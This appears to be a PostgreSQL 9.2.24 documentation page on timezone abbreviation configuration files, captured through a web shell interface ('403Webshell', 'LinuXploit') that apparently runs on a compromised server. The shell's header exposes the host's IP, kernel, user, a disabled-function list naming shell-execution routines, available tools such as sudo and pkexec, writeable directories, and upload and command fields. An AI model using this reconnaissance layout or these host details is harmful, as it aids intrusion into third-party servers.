403Webshell
Server IP : 103.119.228.120  /  Your IP : 3.133.128.227
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/local/ssl/share/doc/postgresql-9.2.24/html/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/local/ssl/share/doc/postgresql-9.2.24/html/datetime-config-files.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML
><HEAD
><TITLE
>Date/Time Configuration Files</TITLE
><META
NAME="GENERATOR"
CONTENT="Modular DocBook HTML Stylesheet Version 1.79"><LINK
REV="MADE"
HREF="mailto:pgsql-docs@postgresql.org"><LINK
REL="HOME"
TITLE="PostgreSQL 9.2.24 Documentation"
HREF="index.html"><LINK
REL="UP"
TITLE="Date/Time Support"
HREF="datetime-appendix.html"><LINK
REL="PREVIOUS"
TITLE="Date/Time Key Words"
HREF="datetime-keywords.html"><LINK
REL="NEXT"
TITLE="History of Units"
HREF="datetime-units-history.html"><LINK
REL="STYLESHEET"
TYPE="text/css"
HREF="stylesheet.css"><META
HTTP-EQUIV="Content-Type"
CONTENT="text/html; charset=ISO-8859-1"><META
NAME="creation"
CONTENT="2017-11-06T22:43:11"></HEAD
><BODY
CLASS="SECT1"
><DIV
CLASS="NAVHEADER"
><TABLE
SUMMARY="Header navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TH
COLSPAN="5"
ALIGN="center"
VALIGN="bottom"
><A
HREF="index.html"
>PostgreSQL 9.2.24 Documentation</A
></TH
></TR
><TR
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
TITLE="Date/Time Key Words"
HREF="datetime-keywords.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
HREF="datetime-appendix.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="60%"
ALIGN="center"
VALIGN="bottom"
>Appendix B. Date/Time Support</TD
><TD
WIDTH="20%"
ALIGN="right"
VALIGN="top"
><A
TITLE="History of Units"
HREF="datetime-units-history.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
></TABLE
><HR
ALIGN="LEFT"
WIDTH="100%"></DIV
><DIV
CLASS="SECT1"
><H1
CLASS="SECT1"
><A
NAME="DATETIME-CONFIG-FILES"
>B.3. Date/Time Configuration Files</A
></H1
><P
>    Since timezone abbreviations are not well standardized,
    <SPAN
CLASS="PRODUCTNAME"
>PostgreSQL</SPAN
> provides a means to customize
    the set of abbreviations accepted by the server.  The
    <A
HREF="runtime-config-client.html#GUC-TIMEZONE-ABBREVIATIONS"
>timezone_abbreviations</A
> run-time parameter
    determines the active set of abbreviations.  While this parameter
    can be altered by any database user, the possible values for it
    are under the control of the database administrator &mdash; they
    are in fact names of configuration files stored in
    <TT
CLASS="FILENAME"
>.../share/timezonesets/</TT
> of the installation directory.
    By adding or altering files in that directory, the administrator
    can set local policy for timezone abbreviations.
   </P
><P
>    <TT
CLASS="VARNAME"
>timezone_abbreviations</TT
> can be set to any file name
    found in <TT
CLASS="FILENAME"
>.../share/timezonesets/</TT
>, if the file's name
    is entirely alphabetic.  (The prohibition against non-alphabetic
    characters in <TT
CLASS="VARNAME"
>timezone_abbreviations</TT
> prevents reading
    files outside the intended directory, as well as reading editor
    backup files and other extraneous files.)
   </P
><P
>    A timezone abbreviation file can contain blank lines and comments
    beginning with <TT
CLASS="LITERAL"
>#</TT
>.  Non-comment lines must have one of
    these formats:

</P><PRE
CLASS="SYNOPSIS"
><TT
CLASS="REPLACEABLE"
><I
>zone_abbreviation</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>offset</I
></TT
>
<TT
CLASS="REPLACEABLE"
><I
>zone_abbreviation</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>offset</I
></TT
> D
<TT
CLASS="REPLACEABLE"
><I
>zone_abbreviation</I
></TT
> <TT
CLASS="REPLACEABLE"
><I
>time_zone_name</I
></TT
>
@INCLUDE <TT
CLASS="REPLACEABLE"
><I
>file_name</I
></TT
>
@OVERRIDE</PRE
><P>
   </P
><P
>    A <TT
CLASS="REPLACEABLE"
><I
>zone_abbreviation</I
></TT
> is just the abbreviation
    being defined.  An <TT
CLASS="REPLACEABLE"
><I
>offset</I
></TT
> is an integer giving
    the equivalent offset in seconds from UTC, positive being east from
    Greenwich and negative being west.  For example, -18000 would be five
    hours west of Greenwich, or North American east coast standard time.
    <TT
CLASS="LITERAL"
>D</TT
> indicates that the zone name represents local
    daylight-savings time rather than standard time.
   </P
><P
>    Alternatively, a <TT
CLASS="REPLACEABLE"
><I
>time_zone_name</I
></TT
> can be given, referencing
    a zone name defined in the IANA timezone database.  The zone's definition
    is consulted to see whether the abbreviation is or has been in use in
    that zone, and if so, the appropriate meaning is used &mdash; that is,
    the meaning that was currently in use at the timestamp whose value is
    being determined, or the meaning in use immediately before that if it
    wasn't current at that time, or the oldest meaning if it was used only
    after that time.  This behavior is essential for dealing with
    abbreviations whose meaning has historically varied.  It is also allowed
    to define an abbreviation in terms of a zone name in which that
    abbreviation does not appear; then using the abbreviation is just
    equivalent to writing out the zone name.
   </P
><DIV
CLASS="TIP"
><BLOCKQUOTE
CLASS="TIP"
><P
><B
>Tip: </B
>     Using a simple integer <TT
CLASS="REPLACEABLE"
><I
>offset</I
></TT
> is preferred
     when defining an abbreviation whose offset from UTC has never changed,
     as such abbreviations are much cheaper to process than those that
     require consulting a time zone definition.
    </P
></BLOCKQUOTE
></DIV
><P
>    The <TT
CLASS="LITERAL"
>@INCLUDE</TT
> syntax allows inclusion of another file in the
    <TT
CLASS="FILENAME"
>.../share/timezonesets/</TT
> directory.  Inclusion can be nested,
    to a limited depth.
   </P
><P
>    The <TT
CLASS="LITERAL"
>@OVERRIDE</TT
> syntax indicates that subsequent entries in the
    file can override previous entries (typically, entries obtained from
    included files).  Without this, conflicting definitions of the same
    timezone abbreviation are considered an error.
   </P
><P
>    In an unmodified installation, the file <TT
CLASS="FILENAME"
>Default</TT
> contains
    all the non-conflicting time zone abbreviations for most of the world.
    Additional files <TT
CLASS="FILENAME"
>Australia</TT
> and <TT
CLASS="FILENAME"
>India</TT
> are
    provided for those regions: these files first include the
    <TT
CLASS="LITERAL"
>Default</TT
> file and then add or modify abbreviations as needed.
   </P
><P
>    For reference purposes, a standard installation also contains files
    <TT
CLASS="FILENAME"
>Africa.txt</TT
>, <TT
CLASS="FILENAME"
>America.txt</TT
>, etc, containing
    information about every time zone abbreviation known to be in use
    according to the IANA timezone database.  The zone name
    definitions found in these files can be copied and pasted into a custom
    configuration file as needed.  Note that these files cannot be directly
    referenced as <TT
CLASS="VARNAME"
>timezone_abbreviations</TT
> settings, because of
    the dot embedded in their names.
   </P
><DIV
CLASS="NOTE"
><BLOCKQUOTE
CLASS="NOTE"
><P
><B
>Note: </B
>     If an error occurs while reading the time zone abbreviation set, no new
     value is applied and the old set is kept. If the error occurs while
     starting the database, startup fails.
    </P
></BLOCKQUOTE
></DIV
><DIV
CLASS="CAUTION"
><P
></P
><TABLE
CLASS="CAUTION"
BORDER="1"
WIDTH="100%"
><TR
><TD
ALIGN="CENTER"
><B
>Caution</B
></TD
></TR
><TR
><TD
ALIGN="LEFT"
><P
>     Time zone abbreviations defined in the configuration file override
     non-timezone meanings built into <SPAN
CLASS="PRODUCTNAME"
>PostgreSQL</SPAN
>.
     For example, the <TT
CLASS="FILENAME"
>Australia</TT
> configuration file defines
     <TT
CLASS="LITERAL"
>SAT</TT
> (for South Australian Standard Time).  When this
     file is active, <TT
CLASS="LITERAL"
>SAT</TT
> will not be recognized as an abbreviation
     for Saturday.
    </P
></TD
></TR
></TABLE
></DIV
><DIV
CLASS="CAUTION"
><P
></P
><TABLE
CLASS="CAUTION"
BORDER="1"
WIDTH="100%"
><TR
><TD
ALIGN="CENTER"
><B
>Caution</B
></TD
></TR
><TR
><TD
ALIGN="LEFT"
><P
>     If you modify files in <TT
CLASS="FILENAME"
>.../share/timezonesets/</TT
>,
     it is up to you to make backups &mdash; a normal database dump
     will not include this directory.
    </P
></TD
></TR
></TABLE
></DIV
></DIV
><DIV
CLASS="NAVFOOTER"
><HR
ALIGN="LEFT"
WIDTH="100%"><TABLE
SUMMARY="Footer navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
><A
HREF="datetime-keywords.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="index.html"
ACCESSKEY="H"
>Home</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
><A
HREF="datetime-units-history.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
>Date/Time Key Words</TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="datetime-appendix.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
>History of Units</TD
></TR
></TABLE
></DIV
></BODY
></HTML
>

Youez - 2016 - github.com/yon3zu
LinuXploit